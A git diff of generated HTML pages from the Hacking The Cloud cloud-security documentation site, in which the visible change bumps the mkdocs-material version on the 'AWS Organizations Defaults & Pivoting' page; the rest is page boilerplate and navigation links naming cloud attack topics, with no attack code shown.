 </code></pre></div> <h3 id=writing-to-s3>Writing to S3<a class=headerlink href=#writing-to-s3 title="Permanent link">&para;</a></h3> <p>To upload content directly to an object in S3 without a temporary file, use this command:</p> <div class=highlight><pre><span></span><code><span class=nb>echo</span><span class=w> </span><span class=s2>&quot;hacking the cloud&quot;</span><span class=w> </span><span class=p>|</span><span class=w> </span>aws<span class=w> </span>s3<span class=w> </span>cp<span class=w> </span>-<span class=w> </span>s3://bucket-name/object-key
diff --git a/aws/general-knowledge/aws_organizations_defaults/index.html b/aws/general-knowledge/aws_organizations_defaults/index.html
index 101496eb3..1cb17d8d8 100644
--- a/aws/general-knowledge/aws_organizations_defaults/index.html
+++ b/aws/general-knowledge/aws_organizations_defaults/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="How to abuse AWS Organizations' default behavior and lateral movement capabilities."><link href=https://hackingthe.cloud/aws/general-knowledge/aws_organizations_defaults/ rel=canonical><link href=../aws_cli_tips_and_tricks/ rel=prev><link href=../block-expensive-actions-with-scps/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.46+insiders-4.53.14"><title>AWS Organizations Defaults & Pivoting - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="AWS Organizations Defaults & Pivoting - Hacking The Cloud"><meta property=og:description content="How to abuse AWS Organizations' default behavior and lateral movement capabilities."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/general-knowledge/aws_organizations_defaults.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/general-knowledge/aws_organizations_defaults/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="AWS Organizations Defaults & Pivoting - Hacking The Cloud"><meta property=twitter:description content="How to abuse AWS Organizations' default behavior and lateral movement capabilities."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/general-knowledge/aws_organizations_defaults.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
+<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="How to abuse AWS Organizations' default behavior and lateral movement capabilities."><link href=https://hackingthe.cloud/aws/general-knowledge/aws_organizations_defaults/ rel=canonical><link href=../aws_cli_tips_and_tricks/ rel=prev><link href=../block-expensive-actions-with-scps/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.47+insiders-4.53.14"><title>AWS Organizations Defaults & Pivoting - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="AWS Organizations Defaults & Pivoting - Hacking The Cloud"><meta property=og:description content="How to abuse AWS Organizations' default behavior and lateral movement capabilities."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/general-knowledge/aws_organizations_defaults.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/general-knowledge/aws_organizations_defaults/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="AWS Organizations Defaults & Pivoting - Hacking The Cloud"><meta property=twitter:description content="How to abuse AWS Organizations' default behavior and lateral movement capabilities."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/general-knowledge/aws_organizations_defaults.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
     html.glightbox-open { overflow: initial; height: 100%; }
     .gslide-title { margin-top: 0px; user-select: text; }
     .gslide-desc { color: #666; user-select: text; }
@@ -7,7 +7,7 @@
     .gdesc-inner { font-size: 0.75rem; }
     body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);}
     body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);}
-    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#creating-member-accounts-default-organizationaccountaccessrole class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1 checked> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=true> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#creating-member-accounts-default-organizationaccountaccessrole class=md-nav__link> <span class=md-ellipsis> Creating Member Accounts: Default OrganizationAccountAccessRole </span> </a> </li> <li class=md-nav__item> <a href=#inviting-pre-existing-member-accounts-trusted-access-delegated-administration class=md-nav__link> <span class=md-ellipsis> Inviting Pre-Existing Member Accounts: Trusted Access &amp; Delegated Administration </span> </a> </li> <li class=md-nav__item> <a href=#organization-integrated-features class=md-nav__link> <span class=md-ellipsis> Organization-Integrated Features </span> </a> </li> <li class=md-nav__item> <a href=#helpful-diagram class=md-nav__link> <span class=md-ellipsis> Helpful Diagram </span> </a> </li> <li class=md-nav__item> <a href=#trusted-access class=md-nav__link> <span class=md-ellipsis> Trusted Access </span> </a> </li> <li class=md-nav__item> <a href=#delegated-administration class=md-nav__link> <span class=md-ellipsis> Delegated Administration </span> </a> </li> <li class=md-nav__item> <a href=#iam-access-analyzer-indirect-route class=md-nav__link> <span class=md-ellipsis> IAM Access Analyzer (Indirect Route): </span> </a> </li> <li class=md-nav__item> <a href=#iam-identity-center-direct-route class=md-nav__link> <span class=md-ellipsis> IAM Identity Center (Direct Route) </span> </a> </li> <li class=md-nav__item> <a href=#automated-tools class=md-nav__link> <span class=md-ellipsis> Automated Tools </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=../block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust 